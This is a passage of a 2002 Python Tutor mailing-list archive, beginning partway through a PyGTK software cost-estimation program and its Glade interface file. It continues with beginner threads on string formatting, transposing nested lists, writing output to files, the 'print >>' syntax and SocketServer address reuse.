outputs." ) return effort = F * A * math.pow( size , B ) # Display the numbers effort_label.set_text( "%.2f" % effort ) cost_label.set_text( "%.2f" % ( cost_unit * effort ) ) # end on_compute_button_released() # # Utility Methods # def sum( item_list ) : """ sum( seq ) => number Compute the sum of all the elements in sequence 'seq'. """ if len( item_list ) < 1 : raise Exception( "Can't compute the sum of nothing!" ) result = 0 # additive identity for item in item_list : result = result + item return result def prod( item_list ) : """ prod( seq ) => number Compute the product of all the elements in sequence 'seq'. """ if len( item_list ) < 1 : raise Exception( "Can't compute the product of nothing!" ) result = 1 # multiplicative identity for item in item_list : result = result * item return result def clear_output( *args ) : """ Clear the output labels. """ effort_label.set_text( "" ) cost_label.set_text( "" ) def get_input( widget_name ) : """ Utility function to retrive the input from the user. """ # get the selected menu item menu_item = widget_tree.get_widget( widget_name ).get_menu().get_active() # return the value stored with it return menu_item.get_data( "value" ) # end get_input() # # main # def main() : """ The "main" of the application. This is where it all starts. """ global widget_tree , effort_label , cost_label # the mapping to describe all the signal handlers signal_map = { "on_exit" : on_exit , "on_compute_button_released" : on_compute_button_released , "input_state_changed" : clear_output , } # load the tree and connect the signal handlers widget_tree = libglade.GladeXML( glade_filename , "CostModel" ) widget_tree.signal_autoconnect( signal_map ) # store references to some widgets for easy access effort_label = widget_tree.get_widget( "effort_label" ) cost_label = widget_tree.get_widget( "cost_label" ) clear_output() # for each of the input menus for name in sf_names + em_names : menu = widget_tree.get_widget( name ).get_menu() # remove the blank entry, if possible try : for child in menu.children() : menu.remove( child ) except TypeError : pass for choice in ( VLOW , LOW , NOM , HIGH , VHIGH , EHIGH ) : data = table[ name ][ choice ] # skip invalid choices if data is None : continue item = gtk.GtkMenuItem( choice ) item.set_data( "value" , data ) menu.append( item ) item.show() if choice == NOM : menu.activate_item( item , true ) # start the event loop gtk.mainloop() # end main() if __name__ == "__main__" : main() --rwEMma7ioTxnRzrJ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="costmodel.glade" CostModel costmodel src pixmaps C False True True GtkWindow CostModel destroy_event gtk_main_quit Thu, 25 Oct 2001 20:44:36 GMT Cost Modeler GTK_WINDOW_TOPLEVEL GTK_WIN_POS_NONE False False True False GtkVBox vbox1 False 0 GtkHandleBox handlebox1 GTK_SHADOW_OUT GTK_POS_LEFT GTK_POS_TOP 0 False False GtkMenuBar menubar2 GTK_SHADOW_OUT GtkMenuItem file_menu False GtkMenu file_menu_menu GtkMenuItem exit_menuitem GDK_MOD1_MASK GDK_E activate activate on_exit Thu, 25 Oct 2001 20:43:40 GMT False GtkHandleBox handlebox2 GTK_SHADOW_OUT GTK_POS_LEFT GTK_POS_TOP 0 False False GtkToolbar toolbar2 GTK_ORIENTATION_HORIZONTAL GTK_TOOLBAR_BOTH 5 GTK_TOOLBAR_SPACE_EMPTY GTK_RELIEF_NORMAL True GtkButton Toolbar:button compute_button released on_compute_button_released Thu, 25 Oct 2001 21:02:47 GMT GtkButton Toolbar:button exit_button released on_exit Thu, 25 Oct 2001 20:43:23 GMT GtkVBox vbox2 False 0 0 True True GtkFrame frame1 0 GTK_SHADOW_ETCHED_IN 4 False False GtkTable table2 2 2 False 0 0 GtkLabel label1 GTK_JUSTIFY_CENTER False 0.5 0.5 0 0 0 1 0 1 6 0 False False False False True False GtkLabel label2 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 1 2 6 0 False False False False True False GtkEntry cost_label True False True 0 1 2 1 2 0 0 False False False False False False GtkEntry effort_label True False True 0 1 2 0 1 0 0 False False False False False False GtkFrame frame2 0 GTK_SHADOW_ETCHED_IN 3 True True GtkVBox vbox3 False 0 GtkFrame frame5 0 GTK_SHADOW_ETCHED_IN 3 True True GtkTable table3 3 2 False 0 0 GtkSpinButton a_input True changed input_state_changed Sat, 27 Oct 2001 15:10:12 GMT 1 3 True GTK_UPDATE_ALWAYS False False 1 0 100 1 10 10 1 2 0 1 0 0 True False False False True False GtkLabel label11 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 1 2 6 0 True False False False True False GtkLabel label10 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 0 1 6 0 True False False False True False GtkSpinButton size_input True changed input_state_changed Sat, 27 Oct 2001 15:08:30 GMT 1 3 True GTK_UPDATE_ALWAYS False False 1 0 100 1 10 10 1 2 1 2 0 0 True False False False True False GtkLabel label30 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 2 3 6 0 False False False False True False GtkSpinButton cost_input True 1 2 True GTK_UPDATE_ALWAYS False False 1 0 100 1 10 10 1 2 2 3 0 0 True False False False True False GtkFrame frame3 0 GTK_SHADOW_ETCHED_IN 3 True True GtkTable table4 5 2 False 0 0 GtkOptionMenu FLEX Very Low : rigorous Low : occaisonal relaxation Nominal : some relaxation High : general conformity Very High : some conformity Extra High : general goals True 0 1 2 1 2 0 0 False False False False True False GtkOptionMenu RESL Very Low : little (20%) Low : some (40%) Nominal : often (60%) High : generally (75%) Very High : mostly (90%) Extra High : full (100%) True 0 1 2 2 3 0 0 False False False False True False GtkOptionMenu TEAM Very Low : very difficult interactions Low : some difficult interactions Nominal : basically cooperative interactions High : largely cooperative Very High : highly cooperative Extra High : seamless interactions True 0 1 2 3 4 0 0 False False False False True False GtkOptionMenu PMAT Weighted average of "Yes" answers to CMM Maturity Questionaire True 0 1 2 4 5 0 0 False False False False True False GtkOptionMenu PREC Very Low : thoroughly unprecedented Low : largely unprecedented Nominal : somewhat unprecedented High : generally familiar Very High : largely familiar Extra High : thoroughly familiar True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 0 1 0 0 True False False False True False GtkLabel label3 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 0 1 6 0 True False False False True False GtkLabel label6 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 1 2 6 0 False False False False True False GtkLabel label7 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 2 3 6 0 False False False False True False GtkLabel label8 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 3 4 6 0 False False False False True False GtkLabel label9 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 4 5 6 0 False False False False True False GtkFrame frame4 0 GTK_SHADOW_ETCHED_IN 3 True True GtkHBox hbox2 False 0 GtkFrame frame6 0 GTK_SHADOW_ETCHED_IN 3 True True GtkTable table5 5 2 False 0 0 GtkLabel label12 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 0 1 6 0 True False False False True False GtkLabel label13 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 1 2 6 0 False False False False True False GtkLabel label14 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 2 3 6 0 False False False False True False GtkLabel label15 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 3 4 6 0 False False False False True False GtkLabel label16 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 4 5 6 0 False False False False True False GtkOptionMenu DATA Low : DB bytes / Pgm SLOC < 10 Nominal : 10 D/P < 100 High : 100 D/P < 1000 Very High : D/P 1000 True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 1 2 0 0 False False False False True False GtkOptionMenu CPLX Very Low : very low complexity Low : low complexity Nominal : avarage complexity High : high complexity Very High : very high complexity Extra High : extremely complex True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 2 3 0 0 False False False False True False GtkOptionMenu RUSE Low : none Nominal : across project High : across program Very High : across product line Extra High : across multiple product lines True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 3 4 0 0 False False False False True False GtkOptionMenu DOCU Very Low : Many life-cycle needs uncovered Low : Some life-cycle needs uncovered Nominal : Right-sized to life-cycle needs Very High : Excessive for life-cycle needs True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 4 5 0 0 False False False False True False GtkOptionMenu RELY Very Low : slight inconvenience Low : easily recoverable losses Nominal : easily recoverable losses High : high financial loss Very High : risk to human life True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT VL 0 1 2 0 1 0 0 True False False False True False GtkFrame frame7 0 GTK_SHADOW_ETCHED_IN 3 True True GtkTable table6 3 2 False 0 0 GtkLabel label17 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 0 1 6 0 True False False False True False GtkLabel label18 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 1 2 6 0 False False False False True False GtkLabel label19 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 2 3 6 0 False False False False True False GtkOptionMenu TIME Nominal : 50% use of available execution time High : 70% Very High : 85% Extra High : 95% True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT VL 0 1 2 0 1 0 0 False False False False True False GtkOptionMenu STOR Nominal : 50% use of available storage High : 70% Very High : 85% Extra High : 95% True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 1 2 0 0 False False False False True False GtkOptionMenu PVOL Low : major change every 12 mo. ; minor change every 1 mo. Nominal : major : 6 mo. ; minor : 2 wk. High : major : 2 mo. ; minor : 1 wk. Very High : major : 2 wk. ; minor 2 days True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 2 3 0 0 False False False False True False GtkFrame frame8 0 GTK_SHADOW_ETCHED_IN 0 True True GtkTable table7 6 2 False 0 0 GtkLabel label21 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 0 1 6 0 True False False False True False GtkLabel label22 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 1 2 6 0 False False False False True False GtkLabel label23 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 2 3 6 0 False False False False True False GtkLabel label27 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 3 4 6 0 False False False False True False GtkLabel label28 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 4 5 6 0 False False False False True False GtkLabel label29 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 5 6 6 0 False False False False True False GtkOptionMenu ACAP Very Low : 15th percentile Low : 35th percentile Nominal : 55th percentile High : 75th percentile Very High: 90th percentile True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT VL 0 1 2 0 1 0 0 False False False False True False GtkOptionMenu PCAP 34 Very Low : 15th percentile Low : 35th percentile Nominal : 55th percentile High : 75th percentile Very High : 90th percentile True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 1 2 0 0 False False False False True False GtkOptionMenu AEXP 34 Very Low : 2 months Low : 6 months Nominal : 1 year High : 3 years Very High : 6 years True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 2 3 0 0 False False False False True False GtkOptionMenu PEXP 34 Very Low : 2 months Low : 6 months Nominal : 1 year High : 3 years Very High : 6 years True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 3 4 0 0 False False False False True False GtkOptionMenu LTEX 34 Very Low : 2 months Low : 6 months Nominal : 1 year High : 3 years Very High : 6 years True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 4 5 0 0 False False False False True False GtkOptionMenu PCON 34 Very Low : 48% / year Low : 24% / year Nominal : 12% / year High : 6% / year Very High : 3% / year True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 5 6 0 0 False False False False True False GtkFrame frame9 0 GTK_SHADOW_ETCHED_IN 0 True True GtkTable table8 3 2 False 0 0 GtkLabel label24 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 0 1 6 0 True False False False True False GtkLabel label25 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 1 2 6 0 False False False False True False GtkLabel label26 GTK_JUSTIFY_CENTER False 0 0.5 0 0 0 1 2 3 6 0 False False False False True False GtkOptionMenu TOOL Very Low : edit , code , debug Low : simple , frontend , backend , CASE , little integration Nominal : basic life-cycle tools, moderately integrated High : strong, mature, life-cycle tools, moderately integrated Very High : strong, mature, proactive life-cycle tools, well integrated with processes, methods, reuse True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT VL 0 1 2 0 1 0 0 False False False False True False GtkOptionMenu SITE 34 Very Low : international / some phone , mail Low : multi-city and multi-company / individual phone , fax Nominal : multi-city or multi-company / narrowband email High : same city or metro area / wideband electronic communication Very High : same building or complex / wideband electronic comm. , occaisonal video conference Extra High : fully collocated / interactive multimedia True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 1 2 0 0 False False False False True False GtkOptionMenu SCED 34 Very Low : 75% of nominal Low : 85% Nominal : 100% High : 130% Very High : 160% True button_release_event input_state_changed Sat, 27 Oct 2001 16:18:28 GMT 0 1 2 2 3 0 0 False False False False True False GtkDialog MessageDialog destroy_event gtk_widget_destroy Fri, 26 Oct 2001 05:09:02 GMT Cost Modeler : Message GTK_WINDOW_TOPLEVEL GTK_WIN_POS_NONE False True True False GtkVBox Dialog:vbox dialog-vbox1 False 0 GtkHBox Dialog:action_area dialog-action_area1 10 True 5 0 False True GTK_PACK_END GtkButton button1 True released msg_dlg_ok Fri, 26 Oct 2001 05:09:24 GMT GTK_RELIEF_NORMAL 0 False False GtkHBox hbox1 False 0 0 True True Placeholder GtkLabel message_label GTK_JUSTIFY_CENTER False 0.5 0.5 0 0 6 True False --rwEMma7ioTxnRzrJ-- From dyoo@hkn.eecs.berkeley.edu Sat Feb 16 23:29:44 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sat, 16 Feb 2002 15:29:44 -0800 (PST) Subject: [Tutor] String formatting In-Reply-To: <3C6D9580.90707@verio.net> Message-ID: On Fri, 15 Feb 2002, VanL wrote: > print '%(totalfiles)s total files, %(includedfiles)s included in > content scan (%(stat1)s%(percent)s)' % vars() > print '%(changedfiles)s files changed (%(stat2)s%(percent)s of > total files, %(stat3)s%(percent)s of scanned files)' % vars() > print '%s total text changes' % textchanges > > > > This is giving me a keyerror for totalfiles. Hmmm... Let's check this: ### Python 2.2 (#1, Jan 20 2002, 01:33:14) [GCC 2.95.4 20011006 (Debian prerelease)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> some_global = 42 >>> def function(): ... some_local = 13 ... print "vars() is %s" % vars() ... print "globals() is %s" % globals() ... >>> function() vars() is {'some_local': 13} globals() is {'__builtins__': , '__name__': '__main__', 'function': , '__doc__': None, 'some_global': 42} ### We probably may want to use some combination of both dictionaries then. Here's a function that may help: ### >>> def concat_dict(d1, d2): ... d3 = d1.copy() ... d3.update(d2) ... return d3 ... >>> concat_dict({'hello': 'world'}, {'penguin': 'power'}) {'hello': 'world', 'penguin': 'power'} ### Hope this helps! From dyoo@hkn.eecs.berkeley.edu Sat Feb 16 23:41:19 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sat, 16 Feb 2002 15:41:19 -0800 (PST) Subject: [Tutor] transposing [n, [e],[s[te]],[d]] sequences In-Reply-To: Message-ID: On Sat, 16 Feb 2002, kevin parks wrote: > # Here is the type of thing i can write pretty swiftly now: > > def Xpose(seq,n, oct=12, sort_flag=0): > ''' take a sequence and tranpose it modulo some number > ''' > mylist=[] > for i in seq: > x = (i+n)%oct > mylist.append(x) # to append or extend? > if sort_flag: > mylist.sort() # to sort or not sort > return mylist Very nice. Yes, this looks great! > # Problem: how do i make something like this work for nested > sequences? since sometimes we will have lists of lists or (god help > us) list of *gasp* tuples... What would be an example of how we'd want Xpose() to work on nested structures? Should this new Xpose() try to preserve the structure of the list, like this: ### ### imaginary session #1 ### >>> x = [0, [2, 4], [5, [7], 9], 11] >>> c = Xpose(x, 4, 12, 0) >>> c [4, [6, 8], [9, [11], 1], 3] ### Or should this new Xpose() disregard the nested structure altogether, and work on a flatten version of the list? ### ### imaginary session #2 ### >>> x = [0, [2, 4], [5, [7], 9], 11] >>> c = Xpose(x, 4, 12, 0) >>> c [4, 6, 8, 9, 11, 1, 3] ### Or perhaps something else? Just want to make sure we're on the same wavelength before working on this problem... *grin* Talk to you later! From e.kotyk@shaw.ca Sun Feb 17 03:59:05 2002 From: e.kotyk@shaw.ca (Eve Kotyk) Date: Sun, 17 Feb 2002 03:59:05 +0000 Subject: [Tutor] creating files with python and a thanks References: <41963702708@kserver.org> Message-ID: <3C6F2A89.1A2DD743@shaw.ca> > ----------------------- > this is my file > my stuff > is in > my > file > ---------------------- > > and let's say you want to save in on your computer under the name > > myfile.mbg > > Then this code should work: > > f = open('myfile.mbg', 'w') > f.write('this is my file\nmy stuff\nis in\nmy\nfile') > f.close() > This is interesting to me for my project. So if instead of f.write ('this is my file...., ..) I wanted to write the whole input and output of a function to a file how would I do that? -- ekotyk http://members.shaw.ca/e.kotyk/virtualstudio.htm From sheila@thinkspot.net Sun Feb 17 04:26:59 2002 From: sheila@thinkspot.net (Sheila King) Date: Sat, 16 Feb 2002 20:26:59 -0800 Subject: [Tutor] creating files with python and a thanks In-Reply-To: <3C6F2A89.1A2DD743@shaw.ca> References: <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca> Message-ID: <216A37E221F@kserver.org> On Sun, 17 Feb 2002 03:59:05 +0000, Eve Kotyk wrote about Re: [Tutor] creating files with python and a thanks: > > f = open('myfile.mbg', 'w') > > f.write('this is my file\nmy stuff\nis in\nmy\nfile') > > f.close() > > > This is interesting to me for my project. So if instead of f.write > ('this is my file...., ..) I wanted to write the whole input and output > of a function to a file how would I do that? If the function returns a string, then one possibility is: function_output = function(param1, param2, ...) f = open('myfile.txt', 'w') f.write(function_output) f.close() Another possibility is: f = open('myfile.txt', 'w') f.write(function(param1, param2, ...)) f.close() As in all things Python, always have an Interpreter window open and just play around and experiment. I would make up some dummy files (not important ones) to do this type of experimenting with. But you will most likely not hurt anything, and it is the best way to learn. -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From sheila@thinkspot.net Sun Feb 17 04:35:03 2002 From: sheila@thinkspot.net (Sheila King) Date: Sat, 16 Feb 2002 20:35:03 -0800 Subject: [Tutor] creating files with python and a thanks In-Reply-To: <216A37E221F@kserver.org> References: <41963702708@kserver.org> <3C6F2A89.1A2DD743@shaw.ca> <216A37E221F@kserver.org> Message-ID: <21E05651150@kserver.org> On Sat, 16 Feb 2002 20:26:59 -0800, Sheila King wrote about Re: [Tutor] creating files with python and a thanks: > If the function returns a string, then one possibility is: OH, I forgot to include the case, for where the function returns something that isn't a string...like it returns an integer, float, list, dictionary, or what-have-you. How about this? f = open('myfile.txt', 'w') f.write(str(function(param1, param2, ...))) f.close() Basically, wrapping str() around anything will convert it to it's "string" representation, if that is possible. For most of the basic types, I can't imagine a problem. -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From idiot1@netzero.net Sun Feb 17 05:38:43 2002 From: idiot1@netzero.net (kirk Bailey) Date: Sun, 17 Feb 2002 00:38:43 -0500 Subject: [Tutor] 1.1.3 is ready Message-ID: <3C6F41E3.474C20CF@netzero.net> tinylist.1.1.3.tar.gz and tinylist.1.1.3.zip are now ready and sitting on the site for your downloading convience. -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ NOTE: By sending SPAM to this address you agree to pay me a service fee of $100 for the service of receiving, storing, examining, and deleting your piece of SPAM. By sending SPAM to this account you agree to these terms. ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From dyoo@hkn.eecs.berkeley.edu Sun Feb 17 07:45:44 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sat, 16 Feb 2002 23:45:44 -0800 (PST) Subject: [Tutor] creating files with python and a thanks In-Reply-To: <216A37E221F@kserver.org> Message-ID: On Sat, 16 Feb 2002, Sheila King wrote: > On Sun, 17 Feb 2002 03:59:05 +0000, Eve Kotyk wrote > about Re: [Tutor] creating files with python and a thanks: > > > > f = open('myfile.mbg', 'w') > > > f.write('this is my file\nmy stuff\nis in\nmy\nfile') > > > f.close() > > > > > This is interesting to me for my project. So if instead of f.write > > ('this is my file...., ..) I wanted to write the whole input and output > > of a function to a file how would I do that? Also, just as we can 'print' out the results of a function on screen: ### >>> def square(x): return x * x ... >>> print "The square of 42 is", square(42) The square of 42 is 1764 ### We can also 'print' to a file, like this: ### >>> f = open('output.txt', 'w') >>> print >>f, "The square of 42 is", square(42) >>> f.close() >>> print open('output.txt').read() The square of 42 is 1764 ### In this case, we can use the 'print >>file' statement, and since you're already familiar with how 'print' works, this should be a good way of doing file output. (On the other hand, I can't say that I _like_ the syntax of this extended 'print' statement; I would have much preferred something like: fprint f, "The square of 42 is", square(42) because at least it avoids a semantic conflict with the shift-right operator, and seems to fix my internal model of Python. Has anyone written a PEP request to change the syntax of 'print >>file' yet?) Ignore my grumbling. *grin* Anyway, hope this helps! From kalle@gnupung.net Sun Feb 17 09:48:50 2002 From: kalle@gnupung.net (Kalle Svensson) Date: Sun, 17 Feb 2002 10:48:50 +0100 Subject: [Tutor] creating files with python and a thanks In-Reply-To: References: <216A37E221F@kserver.org> Message-ID: <20020217094850.GB14380@sandra.lysator.liu.se> [Danny Yoo] > We can also 'print' to a file, like this: > > ### > >>> f = open('output.txt', 'w') > >>> print >>f, "The square of 42 is", square(42) > >>> f.close() > >>> print open('output.txt').read() > The square of 42 is 1764 > > ### > > In this case, we can use the 'print >>file' statement, and since you're > already familiar with how 'print' works, this should be a good way of > doing file output. Arh, no! Please don't let this monster escape to the daylight! > (On the other hand, I can't say that I _like_ the syntax of this extended > 'print' statement; I would have much preferred something like: > > fprint f, "The square of 42 is", square(42) > > because at least it avoids a semantic conflict with the shift-right > operator, and seems to fix my internal model of Python. Has anyone written > a PEP request to change the syntax of 'print >>file' yet?) I think such a PEP would be doomed, considering that there was a lot of syntax discussion when the >> PEP was written and that incompatible changes are frowned upon if they lack a technical motivation. > Ignore my grumbling. Couldn't. Peace, Kalle -- Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two! English: http://www.gnupung.net/ Svenska: http://www.lysator.liu.se/~kalle/ Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()] From dyoo@hkn.eecs.berkeley.edu Sun Feb 17 11:22:13 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 17 Feb 2002 03:22:13 -0800 (PST) Subject: [Tutor] The 'print >>' ogre In-Reply-To: <20020217094850.GB14380@sandra.lysator.liu.se> Message-ID: On Sun, 17 Feb 2002, Kalle Svensson wrote: > [Danny Yoo] > > In this case, we can use the 'print >>file' statement, and since you're > > already familiar with how 'print' works, this should be a good way of > > doing file output. > > Arh, no! Please don't let this monster escape to the daylight! I suddenly have this image of this Grimm's Fairy Tales ogre, with a big fat 'print >>' stamped on his chest, and he's prancing in my brain. Oh well, hopefully he'll disappear when I go to sleep. > > operator, and seems to fix my internal model of Python. Has anyone written > > a PEP request to change the syntax of 'print >>file' yet?) > > I think such a PEP would be doomed, considering that there was a lot > of syntax discussion when the >> PEP was written and that incompatible > changes are frowned upon if they lack a technical motivation. For reference, here's the PEP about the extended print statement: http://python.sourceforge.net/peps/pep-0214.html I'm glancing through the PEP now, and none of the alternatives solutions appear to do the same thing as a hypothetical 'fprint' statement. Perhaps I can learn how to write a PEP by proposing this. I think it might be worth trying it. How many people have used the extended 'print >>' statement? Perhaps a more important question: how many people here have even heard about it? If we're trying to limit its exposure to the light, we're definitely making a judgement that it's either a terrible idea or smells terribly bad. I think it's the latter, and if that's the case, perhaps a strong scrubbing is in order. *grin* From scarblac@pino.selwerd.nl Sun Feb 17 11:32:41 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Sun, 17 Feb 2002 12:32:41 +0100 Subject: [Tutor] The 'print >>' ogre In-Reply-To: ; from dyoo@hkn.eecs.berkeley.edu on Sun, Feb 17, 2002 at 03:22:13AM -0800 References: <20020217094850.GB14380@sandra.lysator.liu.se> Message-ID: <20020217123241.A14691@pino.selwerd.nl> On 0, Danny Yoo wrote: > I think it might be worth trying it. How many people have used the > extended 'print >>' statement? Perhaps a more important question: how > many people here have even heard about it? > > If we're trying to limit its exposure to the light, we're definitely > making a judgement that it's either a terrible idea or smells terribly > bad. I think it's the latter, and if that's the case, perhaps a strong > scrubbing is in order. *grin* I've used it. Sometimes you have an open file that your results go to, and you want to print stuff to it just like you would want to do with a normal print (newline at the end, space between the arguments, etc), and then it's the convenient way to do it. I can live with the syntax, too. It's pretty mnemonic for "print to" for me. But still I don't think I'll use it much - the situation where it's useful just doesn't occur often in my code. -- Remco Gerlich From kp87@lycos.com Sun Feb 17 11:48:05 2002 From: kp87@lycos.com (kevin parks) Date: Sun, 17 Feb 2002 20:48:05 +0900 Subject: [Tutor] Transposing [n, [e],[s[te]],[d]] sequences Message-ID: # Problem: how do i make something like this work for nested # sequences? since sometimes we will have lists of lists or (god help # us) list of *gasp* tuples... By this i meant not first flattening the list or returning the list as flat, but transposing each element leaving the structure in place. i wasn't clear on that point. Sorry. here is the code again (it is short): def Xpose(seq,n, oct=12, sort_flag=0): ''' take a sequence and tranpose it modulo some number ''' mylist=[] for i in seq: x = (i+n)%oct mylist.append(x) # to append or extend? if sort_flag: mylist.sort() # to sort or not sort return mylist #-- (i am at an internet cafe with no interpreter so there could # be a type, but i hope not, Imaginary session follows: >>> x = [0, 2, 4, 5, 7, 9, 11] >>> c = Xpose(x, 4, 12, 0) >>> c [4, 6, 8, 9, 11, 1, 3] >>> d = Xpose(x, 4, 12, 1) # sorted now >>> d [1, 3, 4, 6, 8, 9, 11] -- Check out Cupid School where you will learn from Matchmaker's best and brightest. Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From kp87@lycos.com Sun Feb 17 11:57:36 2002 From: kp87@lycos.com (kevin parks) Date: Sun, 17 Feb 2002 20:57:36 +0900 Subject: [Tutor] creating files with python and a thanks Message-ID: >How can you tell Python to make a simple text file or to make a kind of file >with your own kind of extension? I am guessing that you are on a PC, but if on the off chance you are on the Macintosh you can set the creator and type codes and pop the file open with something like this: def launcher(file_name, cr = 'R*ch', tp = 'TEXT'): '''set file type & creator codes and pop the window open in the finder Macintosh specific ''' cr = 'R*ch' # set the file type and creator codes tp = 'TEXT' # some types: 'Pyth' 'ttxt' 'R*ch' 'BOBO' 'TBB6' fs = macfs.FSSpec(file_name) fs.SetCreatorType(cr, tp) findertools.launch(file_name) # and pop the file open in the finder. -- -kevin seoul, korea (yes i am the 1 person in Korea not using a windoze PC) Check out Cupid School where you will learn from Matchmaker's best and brightest. Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From arcege@speakeasy.net Sun Feb 17 14:59:42 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Sun, 17 Feb 2002 09:59:42 -0500 Subject: [Tutor] SocketObject.close() question In-Reply-To: <8715EC5A-2138-11D6-9828-0003937266F6@zkm.de>; from schoeller@zkm.de on Thu, Feb 14, 2002 at 11:49:32AM +0100 References: <20020213141603.C910@speakeasy.net> <8715EC5A-2138-11D6-9828-0003937266F6@zkm.de> Message-ID: <20020217095942.D4720@speakeasy.net> On Thu, Feb 14, 2002 at 11:49:32AM +0100, Andreas Sch=F6ller wrote: > port =3D 9000 > server =3D SocketServer.TCPServer(('', port), RequestHandler) > server.allow_reuse_address =3D 1 > server.serve_forever() >=20 > which also, did not work, because the attribute-setting comes too late.= =20 > I ended up with changing the default in the module, with one question=20 > remaining : How can one use this setting without subclassing ? Looking at the code, the value is used when the instance is created. So you would have to change TCPServer and _then_ create the instance. SocketServer.TCPServer.allow_reuse_address =3D 1 server =3D SocketServer.TCPServer(('', port), RequestHandler) server.server_forever() -Arcege From paulsid@shaw.ca Sun Feb 17 16:56:33 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Sun, 17 Feb 2002 09:56:33 -0700 Subject: [Tutor] The 'print >>' ogre References: Message-ID: <3C6FE0C1.B959DFB2@shaw.ca> Danny Yoo wrote: > I think it might be worth trying it. How many people have used the > extended 'print >>' statement? Perhaps a more important question: how > many people here have even heard about it? I've used it. The idea of directly printing to a file isn't the problem. There are times when it's downright handy. It's the syntax that's ogreish (yes that really is a word). But I've used far uglier constructs in other languages so I can live with print >>. > If we're trying to limit its exposure to the light, we're definitely > making a judgement that it's either a terrible idea or smells terribly > bad. I think it's the latter, and if that's the case, perhaps a strong > scrubbing is in order. *grin* The trouble is by keeping quiet about it we turn it into the Python equivalent of a Playboy magazine. Sooner or later the newbies are going to find it on our bookshelves and then they'll be pulling it out way more times than they should! -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From virketis@fas.harvard.edu Sun Feb 17 19:36:49 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Sun, 17 Feb 2002 14:36:49 -0500 Subject: [Tutor] The 'print >>' ogre References: <3C6FE0C1.B959DFB2@shaw.ca> Message-ID: <006b01c1b7ea$71bc2330$18adf78c@virketis2> > I've used it. The idea of directly printing to a file isn't the > problem. There are times when it's downright handy. It's the syntax > that's ogreish (yes that really is a word). But I've used far uglier > constructs in other languages so I can live with print >>. I personally rather like the >> ogre. Has no one else seen Shrek here? :) I also remember reading a small article by Guido on the python.org website after the first version of Python with the feature came out, where he highlighted it, along with "+=" operators, as 